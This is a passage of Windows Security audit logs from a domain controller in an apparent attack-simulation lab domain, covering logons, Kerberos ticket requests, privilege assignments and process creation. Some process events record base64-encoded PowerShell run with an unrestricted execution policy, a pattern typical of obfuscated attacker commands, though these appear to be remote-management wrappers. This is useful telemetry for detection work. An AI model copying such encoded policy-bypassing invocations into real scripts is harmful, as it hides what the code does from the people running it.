0x1340 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250560 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x112326 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250559 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x112326 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250558 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250557 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250556 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250555 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11230A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250554 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11230A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250553 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11230A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250552 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250551 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250550 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250549 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x110909 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250548 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdc0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250547 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe78 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x284 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADUANQAyAC4ANgA3ADEAMgA1ADQALQAyADYAMAA2ADMANQA2ADQAMgAxADgAOQAxADUANQAnAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdABtAHAALgBGAHUAbABsAE4AYQBtAGUACgBJAGYAIAAoAC0AbgBvAHQAIAAkAD8AKQAgAHsAIABJAGYAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIABlAHgAaQB0ACAAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAH0AIABFAGwAcwBlACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250546 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x111247 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250545 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x111247 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64458 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250544 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x111247 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250543 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x111185 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250542 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x111185 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64457 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250541 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x111185 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250540 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1110D6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250539 -Keywords=Audit Success -Message=An account was successfully 